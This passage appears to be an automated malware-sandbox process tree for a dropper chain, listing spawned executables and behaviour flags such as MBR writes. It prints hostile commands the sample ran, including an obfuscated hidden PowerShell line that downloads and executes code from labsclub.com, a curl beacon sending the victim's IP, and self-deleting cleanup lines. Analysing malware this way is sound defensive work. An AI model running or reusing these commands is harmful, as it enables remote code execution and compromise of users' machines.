- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3960 -
C:\Users\Admin\AppData\Roaming\773.tmp.exe"C:\Users\Admin\AppData\Roaming\773.tmp.exe"6⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:1744
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"5⤵
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:3272
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3408 -
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"5⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2108
-
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeC:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 0011 installp15⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:1892 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:420
-
-
C:\Users\Admin\AppData\Roaming\1614921498763.exe"C:\Users\Admin\AppData\Roaming\1614921498763.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614921498763.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4056
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵PID:3808
-
-
C:\Users\Admin\AppData\Roaming\1614921503545.exe"C:\Users\Admin\AppData\Roaming\1614921503545.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614921503545.txt"6⤵PID:3684
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵PID:4204
-
-
C:\Users\Admin\AppData\Roaming\1614921509904.exe"C:\Users\Admin\AppData\Roaming\1614921509904.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614921509904.txt"6⤵PID:4232
-
-
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exeC:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"6⤵PID:4444
-
-
C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP6⤵PID:6132
-
-
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeC:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 200 installp15⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:2460 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:2172
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:416
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe"6⤵PID:2232
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
PID:2092
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"5⤵PID:1868
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 36⤵
- Runs ping.exe
PID:3160
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"4⤵
- Executes dropped EXE
PID:736 -
C:\Users\Admin\AppData\Local\Temp\4DUPWZG5U4\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\4DUPWZG5U4\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:3636 -
C:\Users\Admin\AppData\Local\Temp\4DUPWZG5U4\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\4DUPWZG5U4\multitimer.exe" 1 3.1614921289.6041be4959f15 1016⤵
- Executes dropped EXE
PID:3988 -
C:\Users\Admin\AppData\Local\Temp\4DUPWZG5U4\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\4DUPWZG5U4\multitimer.exe" 2 3.1614921289.6041be4959f157⤵PID:2336
-
C:\Users\Admin\AppData\Local\Temp\qqaqlkfmjjn\ip03kqf1uey.exe"C:\Users\Admin\AppData\Local\Temp\qqaqlkfmjjn\ip03kqf1uey.exe" /VERYSILENT8⤵PID:4340
-
C:\Users\Admin\AppData\Local\Temp\is-O0PQP.tmp\ip03kqf1uey.tmp"C:\Users\Admin\AppData\Local\Temp\is-O0PQP.tmp\ip03kqf1uey.tmp" /SL5="$70058,870426,780800,C:\Users\Admin\AppData\Local\Temp\qqaqlkfmjjn\ip03kqf1uey.exe" /VERYSILENT9⤵PID:4528
-
C:\Users\Admin\AppData\Local\Temp\is-SNDA7.tmp\winlthst.exe"C:\Users\Admin\AppData\Local\Temp\is-SNDA7.tmp\winlthst.exe" test1 test110⤵PID:3504
-
C:\Users\Admin\AppData\Local\Temp\9glXGN7QA.exe"C:\Users\Admin\AppData\Local\Temp\9glXGN7QA.exe"11⤵PID:6568
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 9glXGN7QA.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\9glXGN7QA.exe" & del C:\ProgramData\*.dll & exit12⤵PID:4584
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 9glXGN7QA.exe /f13⤵
- Kills process with taskkill
PID:6936
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 613⤵
- Delays execution with timeout.exe
PID:5500
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵PID:5048
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵PID:6888
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ykmlvy13shl\safebits.exe"C:\Users\Admin\AppData\Local\Temp\ykmlvy13shl\safebits.exe" /S /pubid=1 /subid=4518⤵PID:4324
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\DragonFruitSoftware\tmorgm.dll",tmorgm C:\Users\Admin\AppData\Local\Temp\ykmlvy13shl\safebits.exe9⤵PID:6820
-
-
-
C:\Users\Admin\AppData\Local\Temp\ifxeoxam1ow\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\ifxeoxam1ow\Setup3310.exe" /Verysilent /subid=5778⤵PID:4416
-
C:\Users\Admin\AppData\Local\Temp\is-V826Q.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-V826Q.tmp\Setup3310.tmp" /SL5="$10254,802346,56832,C:\Users\Admin\AppData\Local\Temp\ifxeoxam1ow\Setup3310.exe" /Verysilent /subid=5779⤵PID:4636
-
C:\Users\Admin\AppData\Local\Temp\is-QME64.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-QME64.tmp\Setup.exe" /Verysilent10⤵PID:5200
-
C:\Users\Admin\AppData\Local\Temp\is-ADUU8.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-ADUU8.tmp\Setup.tmp" /SL5="$2026E,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-QME64.tmp\Setup.exe" /Verysilent11⤵PID:5228
-
C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\ProPlugin.exe" /Verysilent12⤵PID:5464
-
C:\Users\Admin\AppData\Local\Temp\is-TJAO0.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-TJAO0.tmp\ProPlugin.tmp" /SL5="$302AE,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-C77UQ.tmp\ProPlugin.exe" /Verysilent13⤵PID:5696
-
C:\Users\Admin\AppData\Local\Temp\is-UL00D.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-UL00D.tmp\Setup.exe"14⤵PID:5636
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"15⤵PID:2712
-
C:\Windows\regedit.exeregedit /s chrome.reg16⤵
- Runs .reg file with regedit
PID:4480
-
-
C:\Windows\SYSTEM32\TASKKILL.exeTASKKILL /F /IM chrome.exe16⤵
- Kills process with taskkill
PID:4388
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\curl.execurl.exe "https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.51&loc=US&app=Staoism&payoutcents=0.08&ver=3.5" -k16⤵PID:5912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chrome64.bat16⤵PID:5060
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)17⤵PID:4320
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX3\chrome64.bat" h"18⤵PID:4928
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe"19⤵PID:4592
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff905106e00,0x7ff905106e10,0x7ff905106e2020⤵PID:5796
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1632 /prefetch:220⤵PID:4332
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1676 /prefetch:820⤵PID:4700
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2684 /prefetch:120⤵PID:5000
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2672 /prefetch:120⤵PID:5236
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3444 /prefetch:120⤵PID:5608
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:120⤵PID:5776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3804 /prefetch:120⤵PID:4300
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3648 /prefetch:120⤵PID:4384
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4344 /prefetch:820⤵PID:6296
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4000 /prefetch:820⤵PID:6288
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4292 /prefetch:820⤵PID:6804
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4316 /prefetch:820⤵PID:6796
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4832 /prefetch:820⤵PID:6956
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4384 /prefetch:820⤵PID:5568
-
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings20⤵PID:6840
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x240,0x244,0x248,0x23c,0x24c,0x7ff6c9a47740,0x7ff6c9a47750,0x7ff6c9a4776021⤵PID:5692
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4452 /prefetch:820⤵PID:5932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3356 /prefetch:820⤵PID:6404
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4836 /prefetch:820⤵PID:6860
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4312 /prefetch:820⤵PID:4564
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3380 /prefetch:820⤵PID:4520
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4240 /prefetch:820⤵PID:4616
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=780 /prefetch:820⤵PID:1240
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3712 /prefetch:820⤵PID:6548
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3444 /prefetch:820⤵PID:6888
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3464 /prefetch:820⤵PID:5304
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3632 /prefetch:820⤵PID:6152
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3672 /prefetch:820⤵PID:5668
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4472 /prefetch:820⤵PID:6960
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4924 /prefetch:820⤵PID:6384
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4464 /prefetch:820⤵PID:5416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3492 /prefetch:820⤵PID:4024
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5116 /prefetch:820⤵PID:4764
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5244 /prefetch:820⤵PID:6880
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4892 /prefetch:820⤵PID:5440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5004 /prefetch:820⤵PID:3520
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5108 /prefetch:820⤵PID:6016
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5404 /prefetch:820⤵PID:5540
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5196 /prefetch:820⤵PID:4980
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3752 /prefetch:120⤵PID:4524
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5548 /prefetch:820⤵PID:6192
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5652 /prefetch:820⤵PID:4796
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3700 /prefetch:820⤵PID:5900
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5072 /prefetch:820⤵PID:4808
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3436 /prefetch:820⤵PID:7096
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3380 /prefetch:820⤵PID:6756
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3316 /prefetch:820⤵PID:4280
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4088 /prefetch:120⤵PID:4800
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4604 /prefetch:820⤵PID:3012
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5412 /prefetch:820⤵PID:6556
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,12943393295583213331,12319529870480973665,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4912 /prefetch:820⤵PID:6960
-
-
